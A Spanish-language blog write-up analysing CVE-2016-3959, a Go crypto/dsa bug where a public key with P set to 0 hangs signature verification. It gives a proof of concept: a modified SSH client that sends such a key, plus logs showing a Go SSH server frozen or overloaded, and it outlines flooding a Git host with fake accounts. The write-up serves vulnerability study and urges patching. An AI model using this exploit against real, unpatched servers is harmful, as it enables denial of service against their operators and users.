
Análisis de CVE-2016-3959 y un ataque de Prueba de Concepto contra un servidor SSH en Go.
Alex Mullins
9 de abril de 2016
Recientemente, se descubrió un error en la biblioteca criptográfica del Algoritmo de Firma Digital (DSA) para el lenguaje de programación Go. En este artículo revisaremos los detalles del error y cómo un atacante podría aprovecharlo para iniciar un ataque de denegación de servicio contra un servidor SSH estándar de Go que utiliza la biblioteca DSA subyacente para autenticar clientes.
La primera mención de esta vulnerabilidad apareció en una publicación en la Lista de Correo de Seguridad de Código Abierto (oss-sec) en http://seclists.org/oss-sec/2016/q2/11.
Go tiene un bucle infinito en varias rutinas de enteros grandes que hace que los programas Go sean vulnerables a ataques remotos de denegación de servicio. Los programas que utilizan autenticación de cliente HTTPS o las bibliotecas del servidor SSH de Go están expuestos a esta vulnerabilidad. Esto se está abordando en el siguiente CL: https://golang.org/cl/21533
-- Jason Buberel
En resumen, si esta vulnerabilidad fuera explotada, podría llevar a un bucle infinito en el código subyacente de la biblioteca BigNum. Esto consumirá recursos del sistema en términos de CPU y memoria y podría eventualmente hacer que el programa o el sistema mismo dejen de responder.
La declaración anterior dice que SSH junto con la autenticación de cliente HTTPS están afectados, pero después de examinar los paquetes crypto/tls y net/http de Go, eso parece incorrecto. La autenticación de cliente HTTPS puede usar esquemas de firma RSA o ECDSA, pero no DSA. Vea a continuación. Si me equivoco al respecto, por favor hágamelo saber.
type Certificate struct {
Certificate [][]byte
// PrivateKey contains the private key corresponding to the public key
// in Leaf. For a server, this must implement crypto.Signer and/or
// crypto.Decrypter, with an RSA or ECDSA PublicKey. For a client
// (performing client authentication), this must be a crypto.Signer
// with an RSA or ECDSA PublicKey.
PrivateKey crypto.PrivateKey
... other fields
}
Poco después de que apareciera esa publicación en la lista de correo oss-sec, se emitió un número CVE: CVE-2016-3959. Los mantenedores de Go tienen una solución lista para esto y aparecerá en las versiones 1.5.4 y 1.6.1 que se lanzarán el miércoles 13 de abril de 2016; https://groups.google.com/forum/#!topic/golang-nuts/MmSbFHLPo8g.
Para seguir los ejemplos de código en este artículo necesitará tener instalada la versión 1.6 de Go. Siga las instrucciones en https://golang.org/doc/install. Si desea descargar este documento y los ejemplos de código, también necesitará tener Git instalado. Siga las instrucciones en https://git-scm.com/book/en/v2/Getting-Started-Installing-Git. Para clonar el repositorio, ejecute el siguiente comando en una terminal:
$ go get github.com/alexmullins/dsa
Esto clonará el repositorio en su espacio de trabajo de Go.
La siguiente sección cubrirá los detalles de la vulnerabilidad.
Entonces, ¿qué es exactamente lo que está mal? Para responder eso, uno debe remontarse al anuncio original en la lista de correo oss-sec. No hay mucha información allí aparte de una explicación general del problema y un enlace a la corrección del código en https://golang.org/cl/21533. El mensaje de confirmación de ese cambio contiene lo siguiente:
crypto/dsa: eliminar PublicKey inválido temprano
Para PublicKey.P == 0, Verify fallará. Ni siquiera lo intentes.
--- Robert Griesemer
y el código corregido:
// Verify verifies the signature in r, s of hash using the public key, pub. It
// reports whether the signature is valid.
//
// Note that FIPS 186-3 section 4.6 specifies that the hash should be truncated
// to the byte-length of the subgroup. This function does not perform that
// truncation itself.
func Verify(pub *PublicKey, hash []byte, r, s *big.Int) bool {
// FIPS 186-3, section 4.7
// Code fix added to check if the key parameters are sensible.
if pub.P.Sign() == 0 {
return false
}
if r.Sign() < 1 || r.Cmp(pub.Q) >= 0 {
return false
}
if s.Sign() < 1 || s.Cmp(pub.Q) >= 0 {
return false
}
w := new(big.Int).ModInverse(s, pub.Q)
n := pub.Q.BitLen()
if n&7 != 0 {
return false
}
z := new(big.Int).SetBytes(hash)
u1 := new(big.Int).Mul(z, w)
u1.Mod(u1, pub.Q)
u2 := w.Mul(r, w)
u2.Mod(u2, pub.Q)
v := u1.Exp(pub.G, u1, pub.P)
u2.Exp(pub.Y, u2, pub.P)
v.Mul(v, u2)
v.Mod(v, pub.P)
v.Mod(v, pub.Q)
return v.Cmp(r) == 0
}
Para resumir el mensaje de confirmación y la corrección del código anterior: en Go 1.6 y versiones anteriores hay un error en la función Verify del paquete crypto/dsa. Si alguien llama a Verify con el parámetro de clave pública P establecido en 0, causará un bucle infinito en una de las declaraciones más adelante en la función Verify.
Un breve desvío para explicar DSA. DSA es un algoritmo de firma digital que utiliza criptografía asimétrica para firmar un mensaje que luego puede usarse para garantizar que el mensaje fue realmente enviado por el remitente/titular de la clave privada. Un ejemplo simple: Alicia envía un mensaje a Bob diciéndole dónde y cuándo deben encontrarse para almorzar. Bob, sin embargo, quiere asegurarse de que realmente sea Alicia quien le envió el mensaje y no otra persona. Para que esto funcione, Alicia firmará el mensaje con su clave privada y Bob podrá verificar la firma de Alicia con su clave pública que Bob conoce. Nadie más que el titular de la clave privada puede firmar un mensaje que luego pueda ser verificado por la clave pública correspondiente (esa es la idea al menos).
Para funcionar, DSA necesita 5 números grandes. Los primeros 3 números se conocen como los parámetros DSA P, Q y G. Estos definen el grupo subyacente y el generador del grupo. Estos números pueden crearse adecuadamente con una llamada a dsa.GenerateParameters().
type Parameters struct {
P, Q, G *big.Int
}
Los últimos dos números necesarios para DSA son la clave privada X y la clave pública correspondiente Y. Estos números también pueden crearse con una llamada a dsa.GenerateKey().
type PrivateKey struct {
PublicKey
X *big.Int
}
type PublicKey struct {
Parameters
Y *big.Int
}
Eso es todo lo que necesita saber sobre DSA para seguir adelante. Para más información, consulte el estándar NIST: http://csrc.nist.gov/publications/fips/fips186-3/fips_186-3.pdf o la página de Wikipedia: https://en.wikipedia.org/wiki/Digital_Signature_Algorithm.
Volviendo al tema; ¿dónde está el bucle infinito en la función Verify? Con un poco más de investigación encontrará que el código se cuelga en:
v := u1.Exp(pub.G, u1, pub.P)
Este es el comentario para el método Exp():
// Exp sets z = x**y mod |m| (i.e. the sign of m is ignored), and returns z.
// If y <= 0, the result is 1 mod |m|; if m == nil or m == 0, z = x**y.
// See Knuth, volume 2, section 4.6.3.
func (z *Int) Exp(x, y, m *Int) *Int {
De lo anterior, puede ver que el comentario especifica que cuando m == 0, se exponenciará sin reducción modular. Cuando toma un número grande y lo exponencia con otro número grande, el resultado también será un número REALMENTE GRANDE. No estoy muy familiarizado con cómo funciona math/big, pero creo que eso es lo que está sucediendo aquí. Exp() está procesando esta exponenciación que tomará muchísimo tiempo en completarse (bien podría ser infinito).
Aquí hay algunos números de muestra que se están usando en una llamada a dsa.Verify() a Exp() recopilados del código de prueba a continuación:
x = 87134495734400160760614045850064869082246125869475484226357302998590334523718907040547736115253396811403341841812955872027275698952059512800196447089300992352859585665865224989740
07948775031938554271780506269767106717359222697821209685947889925442133804051298762702245652821695254167558015585995918548052076 (307 dígitos)
y = 751336012463178371212581620103057049388105279629 (48 dígitos)
z = x ^ y
}
Usando Wolfram Alpha, se puede tener una idea de cuán grande es este número z. Hay "113406800566837208055789635448879116719378036793444 o 1.13407x10^50 dígitos decimales" en el número resultante z. (nota: solo se pudieron usar los primeros 150 dígitos de x elevado a y en el cuadro de entrada web de Wolfram Alpha, ¡por lo que el número real de dígitos es aún mayor!) Para dar una idea de la escala: los científicos estiman que el número de átomos en el universo se acerca a 10^78 a 10^82 <http://www.universetoday.com/36302/atoms-in-the-universe/>.
Ejemplo de prueba de firma/verificación DSA:
```go
func generatePrivKey(t *testing.T) *dsa.PrivateKey {
// Create the DSA parameters
params := dsa.Parameters{}
err := dsa.GenerateParameters(¶ms, rand.Reader, dsa.L1024N160)
if err != nil {
t.Fatalf("failed to generate dsa parameters: %v", err)
}
// Create the DSA private/public keys
priv := new(dsa.PrivateKey)
priv.Parameters = params
err = dsa.GenerateKey(priv, rand.Reader)
if err != nil {
t.Fatalf("failed to generate dsa keys: %v", err)
}
return priv
}
func TestDSASignature(t *testing.T) {
var message = "Hello brave new world!"
var hash = sha1.Sum([]byte(message))
var err error
priv := generatePrivKey(t)
// Sign a message
r, s, err := dsa.Sign(rand.Reader, priv, hash[:])
if err != nil {
t.Fatalf("failed to sign message: %v", err)
}
if !dsa.Verify(&priv.PublicKey, hash[:], r, s) {
t.Fatalf("failed to verify message: %v", err)
}
}
$ go test
PASS
ok github.com/alexmullins/dsa 0.224s
Ejemplo de prueba estableciendo P a 0:
func TestDSAPanic(t *testing.T) {
flag.Parse()
if !*fail {
t.Skip()
}
var message = "Hello brave new world!"
var hash = sha1.Sum([]byte(message))
var err error
priv := generatePrivKey(t)
// Sign a message
r, s, err := dsa.Sign(rand.Reader, priv, hash[:])
if err != nil {
t.Fatalf("failed to sign message: %v", err)
}
// Set P = 0
priv.P = new(big.Int).SetInt64(0)
if !dsa.Verify(&priv.PublicKey, hash[:], r, s) {
t.Fatalf("failed to verify message: %v", err)
}
}
$ go test -fail
Observe que esta última llamada de prueba se colgará.
¿Cómo puede alguien explotar esto? Si un atacante logra que un servidor acepte y use una clave DSA malformada para verificar una firma, puede hacer que el servidor se atasque procesando un gran problema de exponenciación, causando así una denegación de servicio (DOS). Dado que SSH utiliza DSA como esquema de firma en su protocolo de autenticación de cliente, esto parece un candidato perfecto para probar este exploit. Imaginemos un escenario en el que esto podría suceder.
Un pequeño proveedor de alojamiento Git permite a sus usuarios autenticarse con claves SSH en su servicio y su servidor SSH está codificado en Go. Para derribar este servicio, un atacante podría crear numerosas cuentas falsas y cargar claves DSA malformadas para su uso en la autenticación SSH. Todas estas claves tendrán su parámetro P establecido en 0. Un atacante podría entonces iniciar cientos de conexiones de clientes SSH al servidor, provocando que los recursos del sistema se bloqueen, llevando a una DOS efectiva.
Probemos ese escenario.
El servidor es un servidor SSH simple que acepta solicitudes de sesión e imprime la hora actual en la conexión. Gracias a github.com/jpillora por proporcionar este código de servidor de ejemplo en https://gist.github.com/jpillora/b480fde82bff51a06238. Se hicieron algunos ajustes al código para permitir la autenticación con clave pública en lugar de devoluciones de llamada de contraseña.
config := &ssh.ServerConfig{
// Accept all authentication requests
PublicKeyCallback: func(c ssh.ConnMetadata, key ssh.PublicKey) (*ssh.Permissions, error) {
return nil, nil
},
}
Esto aceptará todas las solicitudes de autenticación de clave pública. Imagine un servicio real consultando una base de datos para determinar si un usuario en particular tiene esta clave pública registrada en su cuenta. El servidor se ve como un servidor Go muy normal que comienza a escuchar en un puerto y acepta conexiones entrantes.
// Once a ServerConfig has been configured, connections can be accepted.
listener, err := net.Listen("tcp", *addr)
if err != nil {
log.Fatalf("Failed to listen on %s: %s", *addr, err)
}
// Accept all connections
log.Println("Listening on", *addr)
for {
tcpConn, err := listener.Accept()
if err != nil {
log.Printf("Failed to accept incoming connection (%s)", err)
return
}
log.Printf("Accepted an incoming TCP connection from %s", tcpConn.RemoteAddr())
if *p {
go makeSSHConn(tcpConn, config)
} else {
makeSSHConn(tcpConn, config)
}
}
func makeSSHConn(conn net.Conn, config *ssh.ServerConfig) {
// Before use, a handshake must be performed on the incoming net.Conn.
sshConn, chans, reqs, err := ssh.NewServerConn(conn, config)
if err != nil {
log.Printf("Failed to handshake (%s)", err)
return
}
log.Printf("New SSH connection from %s (%s)", sshConn.RemoteAddr(), sshConn.ClientVersion())
// Discard all global out-of-band Requests
go ssh.DiscardRequests(reqs)
// Accept all channels
go handleChannels(chans)
}
Una cosa a notar es la verificación if *p. Eso corresponde a la bandera -p y controla si el servidor realiza el handshake SSH en la gorutina principal o en una gorutina en segundo plano. Muchos ejemplos en línea usan la primera opción. La bandera -p mostrará la diferencia que una operación bloqueante puede tener en el rendimiento de un servidor en red en la sección de ataque más adelante.
El código del cliente es un poco más complicado. Necesita modificaciones en la biblioteca SSH de Go para permitir el envío de una clave DSA malformada. La biblioteca SSH ha sido incluida como vendor en el paquete del cliente. Tenga en cuenta que el código del servidor está 100% sin cambios e importa el paquete ssh estándar golang.org/x/crypto/ssh desde el espacio de trabajo.
El cliente funciona en dos modos separados controlados por una bandera de línea de comandos llamada -attack. Cuando el cliente se inicia normalmente, hará una conexión SSH regular al servidor y comenzará a leer la hora del servidor cada pocos segundos. Pero cuando la bandera -attack está presente, el cliente enviará una solicitud de autenticación al servidor con una clave pública DSA malformada. Fragmentos relevantes del código:
func init() {
flag.Parse()
if *attack {
ssh.Attack = true
}
if *key == "" {
log.Fatalln("must provide a auth key.")
}
}
Observe que se creó una nueva variable ssh.Attack en el paquete SSH vendido y se establece en true cuando la bandera -attack está presente. ssh.Attack cambia el código de serialización de la clave pública DSA del paquete SSH para reemplazar el parámetro P por 0. Puede encontrar ambos cambios en los archivos attack.go y keys.go en el paquete SSH vendido.
// attack.go
var (
// Attack should be set to true to send a malformed DSA key.
Attack = false
)
// keys.go
func (k *dsaPublicKey) Marshal() []byte {
x := k.P
if Attack {
x = big.NewInt(0)
}
w := struct {
Name string
P, Q, G, Y *big.Int
}{
k.Type(),
x,
k.Q,
k.G,
k.Y,
}
return Marshal(&w)
}
El ataque tiene un impacto diferente dependiendo de si el servidor se inicia con la bandera -p.
Para construir el servidor, cambie al directorio del servidor y ejecute: go build -o server . Haga lo mismo para el cliente: go build -o client . Hay claves RSA y DSA de prueba en los directorios data del servidor y del cliente. Si desea crear nuevas, use ssh-keygen.
Si el servidor se inició sin la bandera -p, entonces un solo cliente atacante puede congelar completamente el servidor y no se pueden aceptar más conexiones nuevas. Esto se debe a que la llamada a ssh.NewServerConn() se ejecuta en la gorutina principal y queda atascada en la llamada a dsa.Verify() para la autenticación del cliente, bloqueando las llamadas posteriores a listener.Accept(). Al escribir servidores en red, es importante mantener el bucle de aceptación receptivo y enviar cualquier operación bloqueante a una gorutina en segundo plano.
Inicie el servidor normalmente con:
$ ./server -key=./data/id_rsa
2016/04/13 07:30:27 Listening on localhost:8022
En otra terminal, inicie un cliente normalmente que enviará una clave DSA correcta al servidor para autenticación:
$ ./client -key=./data/id_dsa
2016/04/13 07:31:31 connected
Wed Apr 13 07:31:34 CDT 2016
Wed Apr 13 07:31:37 CDT 2016
Vuelva al servidor y vea que ha aceptado la conexión TCP y creado una conexión SSH:
$ ./server -key=./data/id_rsa
2016/04/13 07:31:23 Listening on localhost:8022
2016/04/13 07:31:31 Accepted an incoming TCP connection from 127.0.0.1:63516
2016/04/13 07:31:31 New SSH connection from 127.0.0.1:63516 (SSH-2.0-Go)
Ahora es el momento de iniciar un cliente atacante en otra terminal. Este enviará la misma clave DSA que un cliente normal, PERO con el parámetro P establecido en 0:
$ ./client -key=./data/id_dsa -attack
Observe que el cliente simplemente se cuelga sin un mensaje 'connected' y no hay registros de la hora del servidor. El servidor tampoco registró la creación de una conexión SSH, pero sí aceptó la conexión TCP. El servidor ahora está atascado en la llamada a dsa.Verify():
$ ./server -key=./data/id_rsa
2016/04/13 07:31:23 Listening on localhost:8022
2016/04/13 07:31:31 Accepted an incoming TCP connection from 127.0.0.1:63516
2016/04/13 07:31:31 New SSH connection from 127.0.0.1:63516 (SSH-2.0-Go)
2016/04/13 07:33:36 Accepted an incoming TCP connection from 127.0.0.1:63521
Intente conectar otro cliente normal; ahora también se le impide conectar:
$ ./client -key=./data/id_dsa
El cliente original aún puede recibir respuestas del servidor, sin embargo.
Si el servidor se inició con la bandera -p, entonces aún puede aceptar conexiones de clientes normales porque las conexiones SSH del atacante están siendo retenidas en gorutinas en segundo plano en lugar de bloquear el bucle de aceptación en la gorutina principal. Esto no lleva a una DOS inmediata, pero consumirá continuamente los recursos de CPU y memoria del servidor, llevando a una muerte lenta.
Iniciemos el servidor nuevamente, pero esta vez con la bandera -p:
$ ./sshd -key=./data/id_rsa -p
2016/04/13 07:38:07 Listening on localhost:8022
Ahora inicie un cliente atacante como antes:
$ ./client -key=./data/id_dsa -attack
Observe que el servidor no registró la creación de la conexión SSH nuevamente, pero intentemos conectar un cliente regular:
$ ./client -key=./data/id_dsa
2016/04/13 07:42:06 connected
Wed Apr 13 07:42:09 CDT 2016
Wed Apr 13 07:42:12 CDT 2016
¡Oye, se conecta! Pero todo lo que un atacante necesitaría hacer es iniciar algunas conexiones de cliente maliciosas más y el uso de CPU y RAM del servidor se disparará. Con 4 clientes atacantes, pude obtener ~400% de CPU y 1GB de uso de RAM antes de detenerme porque mi portátil se estaba calentando demasiado. En condiciones normales con solo 2 clientes normales conectados al servidor, mi CPU estaba alrededor del 0.2% y el uso de RAM era de 5-6MB. Bastante diferencia.
En conclusión, esta vulnerabilidad puede ser explotada para causar denegación de servicio. Usando el escenario anterior, la calculadora de puntuación CVE https://nvd.nist.gov/CVSS/v2-calculator dio una puntuación de 3.5/10. No hay impactos en la confidencialidad o integridad, solo un impacto parcial/completo en la disponibilidad.
Mirando en godoc.org, actualmente hay 164 paquetes que importan crypto/dsa, https://godoc.org/crypto/dsa?importers. Se recomienda actualizar a la versión de seguridad que se encuentra en https://golang.org/dl/.
En general, esta fue una experiencia de aprendizaje divertida. Si hay algún error o mejora que se pueda hacer, por favor hágamelo saber. Gracias por leer.